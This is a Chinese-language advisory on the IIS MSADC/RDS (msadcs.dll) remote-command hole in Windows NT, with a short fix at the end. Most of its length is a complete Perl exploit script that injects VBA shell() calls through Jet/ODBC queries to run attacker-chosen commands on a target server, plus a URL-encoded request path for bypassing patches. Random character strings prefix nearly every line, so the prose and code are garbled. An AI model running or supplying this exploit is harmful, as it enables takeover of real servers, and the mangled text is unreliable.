IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
{l>yi v*;-yG& 涉及程序:
n&"B0y cF Microsoft NT server
P,xKZ{( q?4p)@# 描述:
-n=^U 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
%e-7ubW zbk q 详细:
uW30ep' 如果你没有时间读详细内容的话,就删除:
.$qnZWcgG c:\Program Files\Common Files\System\Msadc\msadcs.dll
O!P H&;H 有关的安全问题就没有了。
y`F3Hr c :<hXH^n 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
F@mQQ t; 4]cg:_ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
?)kG A$m# 关于利用ODBC远程漏洞的描述,请参看:
_I)U%?V+ {4G%:09~J http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm *pSQU=dmS [3(74 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Jth[DUH8H http://www.microsoft.com/security/bulletins/MS99-025faq.asp n@C[@?D pimtiQqC 这里不再论述。
{U1?Et# Oy%''+g 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
E7.2T^o;M g+pml*LJ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
K? y[V1, 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
vbb5f #WZ )2bvQy8K G&i!Hs #将下面这段保存为txt文件,然后: "perl -x 文件名"
(#Wu#F1; /W>iJfx #!perl
$oj:e?8N #
#~7ip\Uf[ # MSADC/RDS 'usage' (aka exploit) script
Bwa'`+bC #
P(H8[ , # by rain.forest.puppy
7*
yzEM #
*~t6(v? # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
4)@mSSfn. # beta test and find errors!
.#rJ+.2 K
P Oa|$ use Socket; use Getopt::Std;
SZ,YS
4M getopts("e:vd:h:XR", \%args);
|y0(Q V ;$smH=I print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
d8[J@M53|T q1QL@Ax if (!defined $args{h} && !defined $args{R}) {
\P.I)n`8 y print qq~
l038%U~U! Usage: msadc.pl -h <host> { -d <delay> -X -v }
h| ,:e;>} -h <host> = host you want to scan (ip or domain)
rEB@$C^ -d <seconds> = delay between calls, default 1 second
P(+&OoY2 -X = dump Index Server path table, if available
jN[`L%Qm -v = verbose
\Ta"}TF8 -e = external dictionary file for step 5
&Xf^Iu y+"X~7EX Or a -R will resume a command session
)iYxt:(,
/H8g( ~; exit;}
]j`c]2EuP ~:Ll&29i $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
v^#~98g] if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
j`~Ms> if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
wE? 'Cl if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
KwPOO{4]g $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
B" !l2 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
l)Crc-:}4j ^; )8VP6 if (!defined $args{R}){ $ret = &has_msadc;
gP0LCK> die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Bj1?x +VO-oFE | print "Please type the NT commandline you want to run (cmd /c assumed):\n"
L&u$t}~) . "cmd /c ";
@cFJeOC| $in=<STDIN>; chomp $in;
(C@m Lu) $command="cmd /c " . $in ;
I@yCTluV$ ioYGZ%RG# if (defined $args{R}) {&load; exit;}
!bN*\c PE5R7)~A print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
+RyjF~[e &try_btcustmr;
1Cgso` v^d]~!h print "\nStep 2: Trying to make our own DSN...";
Urr@a/7 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]sE?ezu C~o7X^[R\ print "\nStep 3: Trying known DSNs...";
b[o"7^H &known_dsn;
6YGubH7%_ DXJ`oh print "\nStep 4: Trying known .mdbs...";
*Zt#U# &known_mdb;
uVJDne,R 8W,Jh8N6 if (defined $args{e}){
FVaQEMZ^ print "\nStep 5: Trying dictionary of DSN names...";
m^ tFi7c &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
y:~ZLTAv rA%usaW print "Sorry Charley...maybe next time?\n";
-o$QS, exit;
$ZugBh[b Cjc6d4~ ##############################################################################
va}Pj#= r76J
N sub sendraw { # ripped and modded from whisker
@ycDCB(D} sleep($delay); # it's a DoS on the server! At least on mine...
;/r1}tl+3> my ($pstr)=@_;
xKuRh}^K socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
tt0f-:# die("Socket problems\n");
@zU6t|mhz if(connect(S,pack "SnA4x8",2,80,$target)){
HY&aV2|A1 select(S); $|=1;
A8uVK5 print $pstr; my @in=<S>;
+@p%
p select(STDOUT); close(S);
mLP.t%?# return @in;
E5I"%9X0H } else { die("Can't connect...\n"); }}
7"20hAd I%sFqh> ##############################################################################
U%q7Ai7 0K`#>}W#X sub make_header { # make the HTTP request
y5?RVlKJ my $msadc=<<EOT
:,'wVS8"] POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
BG6B : User-Agent: ACTIVEDATA
OY;*zk Host: $ip
AiEd!u. Content-Length: $clen
~Y|*`C_) Connection: Keep-Alive
GP?M!C,/}k DU5c=rxW ADCClientVersion:01.06
BJM.iXU)[ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
`*_mP<Ag C8Qa$._ --!ADM!ROX!YOUR!WORLD!
2+QY hdw Content-Type: application/x-varg
S|7!{} Content-Length: $reqlen
WvBc#s- zNxW'?0Z? EOT
c:<005\Bg ; $msadc=~s/\n/\r\n/g;
kEOS{C%6R return $msadc;}
"B3N*R([" bdC8zDD ##############################################################################
mS(fgq6 b{L/4bu sub make_req { # make the RDS request
5nT"rA my ($switch, $p1, $p2)=@_;
jbVECi- my $req=""; my $t1, $t2, $query, $dsn;
iOU6V mz, if ($switch==1){ # this is the btcustmr.mdb query
lQ" p ! $query="Select * from Customers where City=" . make_shell();
gkES5Q $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
pEBM3r!X $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
(tIo:j i;/5Y'KZ elsif ($switch==2){ # this is general make table query
xJ>fm%{5 $query="create table AZZ (B int, C varchar(10))";
f&BY/ n, $dsn="$p1";}
Fl kcU
`j w<Wf?a G elsif ($switch==3){ # this is general exploit table query
YG3J$_?y0 $query="select * from AZZ where C=" . make_shell();
kCR_tn
4 $dsn="$p1";}
jcuB k5:G-BQ: elsif ($switch==4){ # attempt to hork file info from index server
9
Vkb>yFX' $query="select path from scope()";
'p>Ra/4 $dsn="Provider=MSIDXS;";}
mZSD( sf)EMh3Z elsif ($switch==5){ # bad query
L ^q""[ $query="select";
QZ6D7tUc8 $dsn="$p1";}
r^FhTzA=1 [fAV5U $t1= make_unicode($query);
3Dng1} $t2= make_unicode($dsn);
:~2vJzp@? $req = "\x02\x00\x03\x00";
';3{T:I $req.= "\x08\x00" . pack ("S1", length($t1));
"P7nNa $req.= "\x00\x00" . $t1 ;
fI&t] $req.= "\x08\x00" . pack ("S1", length($t2));
wSa)*]% $req.= "\x00\x00" . $t2 ;
\NgYTZ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
R=gb' return $req;}
mq@6Q\Z+ iiT"5`KY ##############################################################################
vHyC; 4' zHA!%>%' sub make_shell { # this makes the shell() statement
R3x3]]D return "'|shell(\"$command\")|'";}
qTdh eX/ W>) M5t4i ##############################################################################
CyS$|E ]^h]t~ sub make_unicode { # quick little function to convert to unicode
T|nDTezr my ($in)=@_; my $out;
yv t. for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
%j.0G`x9 + return $out;}
t{ xf:~B 't:;irLW. ##############################################################################
BXtCSfY$ 4Jp:x"w sub rdo_success { # checks for RDO return success (this is kludge)
5rw 7;' my (@in) = @_; my $base=content_start(@in);
dP3CG8w5 if($in[$base]=~/multipart\/mixed/){
Y<N5#
);f return 1 if( $in[$base+10]=~/^\x09\x00/ );}
01wX `"I return 0;}
mk.9OhYY EMY/~bQW ##############################################################################
t|g4m[kr f(/lLgI( sub make_dsn { # this makes a DSN for us
6 Q%jA7 my @drives=("c","d","e","f");
fObg3S92 print "\nMaking DSN: ";
Hx"ob_^'7 foreach $drive (@drives) {
nV"~-On print "$drive: ";
CAfGH!l! my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Sc\*W0m "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
u(@$a4z . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
$ `ov4W $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
HVi'eNgo return 0 if $2 eq "404"; # not found/doesn't exist
pmuvg6@h if($2 eq "200") {
@:+8?qcP foreach $line (@results) {
6a[}'/ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
+O8%Hm } return 0;}
u_@f$ o}
J&E{Tk ##############################################################################
s^Y"' ` + ]D?"aX'q> sub verify_exists {
JZ)RGSG i my ($page)=@_;
,]|#[ 8 my @results=sendraw("GET $page HTTP/1.0\n\n");
j'Gt&\4 return $results[0];}
|,S+@"0# \:b3~%Fz ##############################################################################
>" )Tf6zw& >"^ O"E sub try_btcustmr {
`F-/QX[: my @drives=("c","d","e","f");
s2h@~y my @dirs=("winnt","winnt35","winnt351","win","windows");
J[l7di5 CS2Bo foreach $dir (@dirs) {
v\c>b:AofD print "$dir -> "; # fun status so you can see progress
EAT"pxP foreach $drive (@drives) {
eWCb73 print "$drive: "; # ditto
=$u!
59_dE $reqlen=length( make_req(1,$drive,$dir) ) - 28;
SWH2 $reqlenlen=length( "$reqlen" );
j_K4;k#r $clen= 206 + $reqlenlen + $reqlen;
2GP=&K/A [)H&'5 +F my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Ur9?Td'*> if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
D9<!mH else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
:*I#n _GV:HOBi ##############################################################################
6V$Avg\6\ ;y,5k? sub odbc_error {
K*%9)hq my (@in)=@_; my $base;
t)~"4]{*}D my $base = content_start(@in);
=O&%c%~q if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$mu^G t $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
HHA<IZ#;, $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
52%2R]G! $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
51#_Vg return $in[$base+4].$in[$base+5].$in[$base+6];}
-)w@f~Q print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
=m!-m\B/ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
N:S/SZI $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
|z9*GY6RU M\o9I ##############################################################################
FEW14U'O '9laa=H%8 sub verbose {
fa-IhB1!K my ($in)=@_;
N@2dA*T, return if !$verbose;
>tYm+coS print STDOUT "\n$in\n";}
.8@$\ZRP x6Bu F_. ##############################################################################
YJ^]
u} bfFeBBi sub save {
{>}!+k
-` my ($p1, $p2, $p3, $p4)=@_;
rV2WnAb[H& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
-z-C*%~ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
]s]vZ close OUT;}
RmI]1S_= {
d=^}-^ ##############################################################################
pM+ AjPr 2a-w%
(K sub load {
|nc@"OJ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
I&2c&yO open(IN,"<rds.save") || die("Couldn't open rds.save\n");
H['N @p=<IN>; close(IN);
Vy6qbC-Kt $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
VyXKZ%\dQ/ $target= inet_aton($ip) || die("inet_aton problems");
y0Fb_"} print "Resuming to $ip ...";
&:;:"{t}Do $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
|N4.u
_hM if($p[1]==1) {
sGi"rg# $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
S
^"y4-2 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
\RNNg my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
s(5Y if (rdo_success(@results)){print "Success!\n";}
]GMe\n else { print "failed\n"; verbose(odbc_error(@results));}}
n D0K).=Q elsif ($p[1]==3){
m!gz3u]rN if(run_query("$p[3]")){
?h3Y)5x T print "Success!\n";} else { print "failed\n"; }}
9{'N{ elsif ($p[1]==4){
?~l6K(*2 if(run_query($drvst . "$p[3]")){
q['Euy print "Success!\n"; } else { print "failed\n"; }}
J28M@cn exit;}
SOs:]U-T3 v]'ztFA ##############################################################################
srr
:!5 |v`AA?@{8 sub create_table {
wu7Lk3 my ($in)=@_;
Umz KY $reqlen=length( make_req(2,$in,"") ) - 28;
<5-[{Q/2z $reqlenlen=length( "$reqlen" );
(iBNZ7sJ $clen= 206 + $reqlenlen + $reqlen;
/@wg>&L] my @results=sendraw(make_header() . make_req(2,$in,""));
DjCqh-&L return 1 if rdo_success(@results);
bZ?v-fn\D, my $temp= odbc_error(@results); verbose($temp);
+M./@U*g return 1 if $temp=~/Table 'AZZ' already exists/;
_ q(ko/T return 0;}
-j+UMlkB 4~ q5,^kgB ##############################################################################
18)'c?^. |!1Y*|Q%s sub known_dsn {
8Ry3`ct # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
&x=.$76 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
i)o2klIkB "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
."TxX.&HE "banner", "banners", "ads", "ADCDemo", "ADCTest");
J &o|QG h2)yq:87 foreach $dSn (@dsns) {
zE336 print ".";
hP=WFD& next if (!is_access("DSN=$dSn"));
H~oail{EQ if(create_table("DSN=$dSn")){
5/q}`T9i%7 print "$dSn successful\n";
sz5MH!/PJ if(run_query("DSN=$dSn")){
fWCo;4<5? print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
% "kPvI3Y print "Something's borked. Use verbose next time\n";}}} print "\n";}
bH-ub2@qO P#E &|n7DT ##############################################################################
9"@\s$
OBk e2L0VXbb sub is_access {
6}Vf\j~ my ($in)=@_;
a Fc1|.Nm $reqlen=length( make_req(5,$in,"") ) - 28;
nxY\|@ $reqlenlen=length( "$reqlen" );
u9:`4b $clen= 206 + $reqlenlen + $reqlen;
*]. 7dec/ my @results=sendraw(make_header() . make_req(5,$in,""));
sW Qfr$^A my $temp= odbc_error(@results);
Bp*K]3_ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
6~0$Z-);( return 0;}
y>R=`A1b Av @b!iw+ ##############################################################################
HpR]q05d d4m=0G` sub run_query {
.0p0_f= my ($in)=@_;
\K_ET> ! $reqlen=length( make_req(3,$in,"") ) - 28;
z(o,m3@v $reqlenlen=length( "$reqlen" );
O ~(pg $clen= 206 + $reqlenlen + $reqlen;
9TU88] my @results=sendraw(make_header() . make_req(3,$in,""));
1;d$#j return 1 if rdo_success(@results);
8a&:6Zuo my $temp= odbc_error(@results); verbose($temp);
3ovWwZ8& return 0;}
];} Wfl `^91%f ##############################################################################
A]y`7jJ g-qP;vy@"q sub known_mdb {
Okgv!Nt8)A my @drives=("c","d","e","f","g");
w _u\p a my @dirs=("winnt","winnt35","winnt351","win","windows");
^le<} my $dir, $drive, $mdb;
[M?}uK ^ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Q0$8j-1I
*aX F5S # this is sparse, because I don't know of many
B6=ebM`q my @sysmdbs=( "\\catroot\\icatalog.mdb",
,c$,!.r "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
2:*w~|6>}5 "\\system32\\certmdb.mdb",
[l:x'_y "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
i}b${no pb^i^tA+A my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
~aw.(A?MI "\\cfusion\\cfapps\\forums\\forums_.mdb",
]~844Jp "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
ioaU*% "\\cfusion\\cfapps\\security\\realm_.mdb",
h}-3\8 > "\\cfusion\\cfapps\\security\\data\\realm.mdb",
oYHj~t "\\cfusion\\database\\cfexamples.mdb",
vrl;"Fm+ "\\cfusion\\database\\cfsnippets.mdb",
d[[]PX "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
M])ZK "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
909?_v "\\cfusion\\brighttiger\\database\\cleam.mdb",
6.FY0. i "\\cfusion\\database\\smpolicy.mdb",
?8HHA:GP "\\cfusion\\database\cypress.mdb",
%/EVUN9= "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
/TE_W@?^ "\\website\\cgi-win\\dbsample.mdb",
~Xr=4V:a+ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
J2d.f}- "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
5NBV[EP ); #these are just
w|3z;-#Q; foreach $drive (@drives) {
D@C-5rmq foreach $dir (@dirs){
z,|r*\dw foreach $mdb (@sysmdbs) {
YpQ7)_s? print ".";
,/[6e\0~ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
|b[+I?X print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
:d3bt~b' if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
~7Y+2FZ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
+
r!1<AAE$ } else { print "Something's borked. Use verbose next time\n"; }}}}}
oV)~@0B&0 avjpA?Vz foreach $drive (@drives) {
aGK?x1_ foreach $mdb (@mdbs) {
@*>@AFnf\Z print ".";
)@N2 if(create_table($drv . $drive . $dir . $mdb)){
UYFwS/ RW} print "\n" . $drive . $dir . $mdb . " successful\n";
[N1hWcfvd if(run_query($drv . $drive . $dir . $mdb)){
lT4Hn;tnN print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Pf*^ZB% } else { print "Something's borked. Use verbose next time\n"; }}}}
s~X+*@. }
Mc#*wEo)8 _,q) hOI ##############################################################################
AoY-\E Z1zVwHa_ sub hork_idx {
`J]fcE%T0R print "\nAttempting to dump Index Server tables...\n";
ttXXy3G# print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
9F6F~::l} $reqlen=length( make_req(4,"","") ) - 28;
Hip&8NW $reqlenlen=length( "$reqlen" );
;V^ 112|C $clen= 206 + $reqlenlen + $reqlen;
1D16 my @results=sendraw2(make_header() . make_req(4,"",""));
]e>RK' if (rdo_success(@results)){
~+bv6qxg]\ my $max=@results; my $c; my %d;
{zQS$VhXr for($c=19; $c<$max; $c++){
h H <J,Wn $results[$c]=~s/\x00//g;
qNI,
62 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
)q0. 0<f $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
"@evXql3` $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
5?p2%KQ $d{"$1$2"}="";}
m#ZO`W foreach $c (keys %d){ print "$c\n"; }
U ?'vXa } else {print "Index server doesn't seem to be installed.\n"; }}
YRv&1!VLE HN_d{ 3 ##############################################################################
TqNadHQ pp.6Ex
(R sub dsn_dict {
wpN k+; open(IN, "<$args{e}") || die("Can't open external dictionary\n");
GGe,fb<k while(<IN>){
;?W|#*=R $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
aqYa{hXio next if (!is_access("DSN=$dSn"));
JB ZUv if(create_table("DSN=$dSn")){
*J$=.fF1 print "$dSn successful\n";
$=5=NuX if(run_query("DSN=$dSn")){
BQBeo&n6 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
R E}?5XHb print "Something's borked. Use verbose next time\n";}}}
:
m)
print "\n"; close(IN);}
Ib|Rf;J~- >:zK?(qu,N ##############################################################################
:}r. h tx;8: sub sendraw2 { # ripped and modded from whisker
f}Np/ sleep($delay); # it's a DoS on the server! At least on mine...
vgD {qg@ my ($pstr)=@_;
Bt1p'g(V| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
D6CS8
~" die("Socket problems\n");
hOFOO_byzO if(connect(S,pack "SnA4x8",2,80,$target)){
:,WtR print "Connected. Getting data";
eFBeJZuE| open(OUT,">raw.out"); my @in;
_8Z_`@0 select(S); $|=1; print $pstr;
j>]nK~[ka while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
kgy:Q' close(OUT); select(STDOUT); close(S); return @in;
4VHqBQ4
} else { die("Can't connect...\n"); }}
L,SGT8lL /R~1Zj2& ##############################################################################
*4U^0e ?6(I V] sub content_start { # this will take in the server headers
UJ0<%^f my (@in)=@_; my $c;
Dw=gs{8D for ($c=1;$c<500;$c++) {
wUiys/OVM if($in[$c] =~/^\x0d\x0a/){
3l[McZ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
?notxE7 ] else { return $c+1; }}}
:[\v return -1;} # it should never get here actually
%@;6^= d}LR l" _n ##############################################################################
w$H^q
!( 9Q(+ZG=JkV sub funky {
A
6OGs/:& my (@in)=@_; my $error=odbc_error(@in);
Na$Is'F&p if($error=~/ADO could not find the specified provider/){
b8$gx:aJ>$ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
CSGz3uC2D exit;}
^Y u6w\QM if($error=~/A Handler is required/){
nt;haeJ print "\nServer has custom handler filters (they most likely are patched)\n";
S{FROC~1R exit;}
%YSpCI if($error=~/specified Handler has denied Access/){
#Y0-BYa^ print "\nServer has custom handler filters (they most likely are patched)\n";
%uJ<M-@r=u exit;}}
!lxTX \%/#x V ##############################################################################
0VckocF pWPIJ>2G: sub has_msadc {
.Q@S #d my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
6An9S%:_ my $base=content_start(@results);
TpmwD{c[\ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
$={:r/R`i return 0;}
T21ky>8E e%4:)
IV!; ########################
JT "B>y> Dq36p${\W P&j(,7 解决方案:
)+6v 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
psnTFe 2、移除web 目录: /msadc